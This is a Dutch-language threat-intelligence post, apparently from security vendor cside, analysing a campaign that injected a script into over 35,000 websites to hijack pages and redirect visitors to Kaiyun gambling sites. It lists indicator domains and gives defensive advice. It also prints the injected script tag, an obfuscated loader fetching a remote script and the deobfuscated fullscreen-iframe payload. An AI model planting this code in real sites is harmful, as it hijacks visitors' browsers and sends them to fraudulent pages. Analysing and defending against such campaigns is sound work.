Kort samengevat: Kaiyun ZuizhongJS mlbetjs full-page hijack over 35K sites
- Anonieme sites, genegeerd: De meeste aandacht gaat naar gerichte aanvallen op bekende merken, maar deze campagne kaapte 35.000+ grotendeels anonieme websites om het Kaiyun-gokmerk te promoten. Het bleef onopgemerkt omdat het verkeer van het gemiddelde slachtoffer op niemands alertlijst staat.
- De IOCs: Mlbetjs[.]com trof 18.000+ sites, ptfafajs[.]com 9.000+, zuizhongjs[.]com 4.800+, en de payload gebruikte een randomNum-vertraging van 500-1000 ms om sandboxes te ontwijken voordat een fullscreen iframe met z-index 2147483647 werd geschreven. De first-party JavaScript-agent van cside observeert het runtimegedrag van elk script in real time en had de injectie al voor onze gebruikers geblokkeerd.
- Naar een runtime-inventaris: Als uw inventaris van third-party JS nog in een spreadsheet staat, kunt u niet zien of een enkel geïnjecteerd mlbetjs-script uw verkeer stilletjes naar Kaiyun doorstuurt. Stap deze week over op een runtime scriptinventaris.
Weinig tijd? Bekijk cside's in-browser Magecart- en skimmerblokkering. Dit dekt alles hieronder in één deployment.
Een nieuwe malwarecampagne heeft meer dan 35.000 websites gecompromitteerd door een kwaadaardig script te injecteren vanaf de hieronder vermelde websites. Zodra het script laadt, kaapt het het browservenster van de gebruiker volledig, en leidt het hen vaak door naar pagina's die een Chinees gokplatform (of casino) promoten.
De aanval lijkt gericht te zijn op, of afkomstig te zijn uit, regio's waar Mandarijn gangbaar is, en de uiteindelijke bestemmingspagina's tonen gokinhoud onder het merk "Kaiyun".
Lijst van Indicators of Compromise (IoC's):
- Mlbetjs[.]com (18k+ geïnfecteerde websites) - publicwww-link
- Ptfafajs[.]com (9k+ geïnfecteerde websites) - publicwww-link
- Zuizhongjs[.]com (4,8k+ geïnfecteerde websites) - publicwww-link
- Jbwzzzjs[.]com (2,9k+ geïnfecteerde websites) - publicwww-link
- Jpbkte[.]com (30+ geïnfecteerde websites) - publicwww-link
Heeft u vergelijkbare omleidingen aangetroffen, of nieuwe IoC's? Deel ze gerust of neem contact op met ons team. Door gegevens te bundelen kunnen we zich ontwikkelende dreigingen sneller identificeren en ontmantelen.
Alle hierboven gelinkte sites tonen het volgende bericht:

Vertaald:
Gefeliciteerd, de site is succesvol aangemaakt! Dit is de standaard index.html. Deze pagina wordt automatisch gegenereerd door het systeem. Deze pagina is index.html in de FTP-hoofdmap U kunt deze pagina aanpassen, verwijderen of overschrijven Voor FTP-gerelateerde informatie gaat u naar "Paneelsysteem Achterkant > FTP" om te bekijken
Het infectieproces
Als voorbeeld hebben we zuizhongjs[.]com geanalyseerd.
Aanvallers plaatsen een eenregelige rechtstreeks in sitebestanden (bijvoorbeeld in de of onderaan de ). Hieronder staat een voorbeeld van de geïnjecteerde code:
<script language="javascript"
src="https://www.zuizhongjs[.]com/js/24/12/7/ky1.js"
type="text/javascript"></script>
Geobfusceerde loader
In het geladen bestand gebruiken de aanvallers een JavaScript-fragment dat een ander scriptelement schrijft om aanvullende malware op te halen:
;(function(o, q, f, e, w, j) {
w = q.createElement(f);
j = q.getElementsByTagName(f)[0];
w.async = 1;
w.src = e;
j.parentNode.insertBefore(w, j);
})(window, document, 'script', `https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de.js?qbsfsc=${Math.floor(Date.now() / 1000)}`);
De bovenstaande code gebruikt stringconcatenatie en eval() om het werkelijke doel te verbergen. Het injecteert een nieuwe ophaalt van hetzelfde kwaadaardige domein.
Primaire payload (gedeobfusceerd)
Hieronder staat een vereenvoudigde versie van het primaire script, met de belangrijkste functionaliteit:
function isMobile() {
return navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i) ? true : false;
}
var url = "https://www.zuizhongjs[.]com/go/kaiyun1/ky.html";
function getIosVersion() {
var str = navigator.userAgent.toLowerCase();
var ver = str.match(/cpu iphone os (.*?) like mac os/);
return ver ? parseInt(ver[1].slice(0,2)) : false;
}
var u = navigator.userAgent;
var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);
function randomNum(minNum, maxNum) {
return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10);
}
const time = randomNum(500, 1000);
console.log(time);
document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write('<style>html,body{width:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src="' + url + '" frameborder="0" style="border:0;width: 100%; text-align: center; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');
Belangrijkste bevindingen
- Apparaatdetectie
- Maakt gebruik van functies zoals isMobile(), getIosVersion() en isIOS om de payload af te stemmen op specifieke apparaten of besturingssystemen.
- Willekeurige vertraging
- randomNum(500, 1000) introduceert een vertraging van 500-1000 ms om geautomatiseerde scans of sandboxdetectie te omzeilen.
- Volledig scherm kapen
- De code injecteert een element dat de volledige pagina bedekt en de originele inhoud vervangt.
- Versluierde URL
- De initiële url kan verder worden versluierd (bijvoorbeeld via Unicode-escapes). Op dit moment verwijst deze naar https://www.zuizhongjs[.]com/go/kaiyun1/ky.html.
- Uiteindelijke doorverwijzing
- Zodra het script volledig is uitgevoerd, worden sommige gebruikers naar een tweede domein gestuurd, bijvoorbeeld https://www.p11vt3[.]vip:6002/register50154?i_code=21708264, wat typerend is voor phishing of frauduleuze registratieprocessen.
Aanvallers lijken verkeer te sturen naar een Chinees gokplatform (of casino) dat opereert onder het merk "Kaiyun".
Tijdens onze analyse identificeerden we enkele varianten op geïnfecteerde websites:


Sommige IP-adressen of regio's zien een pagina die aangeeft dat de toegang is geblokkeerd. Gebruikers wordt gevraagd contact op te nemen via e-mail of "online support", mogelijk om beveiligingsonderzoekers te weren of ongewenst verkeer te beperken.

Mogelijk verband met de Megalayer-exploit
Onze analyse suggereert dat deze campagne mogelijk verband houdt met de Megalayer-exploit, die bekendstaat om de verspreiding van Chinese malware. Aanwijzingen hiervoor zijn:
- Lokalisatie: Chinese tekst, verwijzingen naar Mandarijnsprekend publiek.
- Domeinpatronen: De structuur van zuizhongjs[.]com, plus meerdere doorverwijzingsdomeinen die .vip of andere TLD's gebruiken die favoriet zijn bij bepaalde dreigingsactoren.
- Versluieringstechnieken: Unicode-escaped URL's, op code gebaseerde vertragingen, enzovoort.
Hoe u uw website kunt beschermen
cside analyseert de payload van elk scriptverzoek in real time. Als een script probeert een kwaadaardige versie te laden, sporen wij dat op, blokkeren we het laden ervan en waarschuwen we uw team.
cside heeft deze aanval al voor onze gebruikers geblokkeerd via real-time analyse en proactieve verdediging. Als u vermoedt dat uw site is geïnfecteerd, neem dan direct contact op met uw beveiligingsleverancier of hostingprovider.
- Controleer uw broncode
- Controleer uw HTML, themabestanden en CMS-templates op ongeautoriseerde tags die verwijzen naar zuizhongjs[.]com of vergelijkbare verdachte domeinen.
- Blokkeer kwaadaardige domeinen
- Gebruik firewallregels of DNS-blokkering voor: zuizhongjs[.]com
- p11vt3[.]vip (en bijbehorende subdomeinen)
- Controleer logs op onverwachte uitgaande verzoeken naar deze domeinen.
- Controleer op ongeautoriseerde wijzigingen
- Controleer regelmatig uw hostingaccount of gebruik een bestandsintegriteitscontrole.
- Elke onverklaarde wijziging in kernbestanden kan wijzen op een backdoor of injectiepunt.
- Beperk scripts tot alleen vertrouwde domeinen met een goed gedefinieerd CSP.
- Voorkom dat inline scripts en onbekende bronnen worden geladen.
- Regelmatige sitescans
De ZuizhongJS-malwarecampagne laat zien hoe een enkel geïnjecteerd script duizenden websites kan kapen, waardoor nietsvermoedende gebruikers worden doorgestuurd naar Chinese gokportalen. De aanwezigheid van bekende voetballogo's en sportverwijzingen wijst op een poging om legitimiteit te suggereren, maar de hele operatie lijkt ongelicentieerd of ronduit frauduleus.
- Website-eigenaren: Verwijder alle geïnjecteerde scripts, blokkeer kwaadaardige domeinen en versterk uw beveiligingsconfiguratie om herinfectie te voorkomen.
- Beveiligingsonderzoekers: Verder onderzoek is nodig om het verband met Megalayer te bevestigen, de exacte infiltratiemethoden vast te stellen (bijvoorbeeld kwetsbare CMS-plugins of gestolen inloggegevens), en aanvullende domeinen te traceren.
cside heeft deze aanval succesvol gedetecteerd en geblokkeerd. Als u zich zorgen maakt over mogelijke infecties, kan ons systeem real-time analyse en proactieve verdediging bieden.









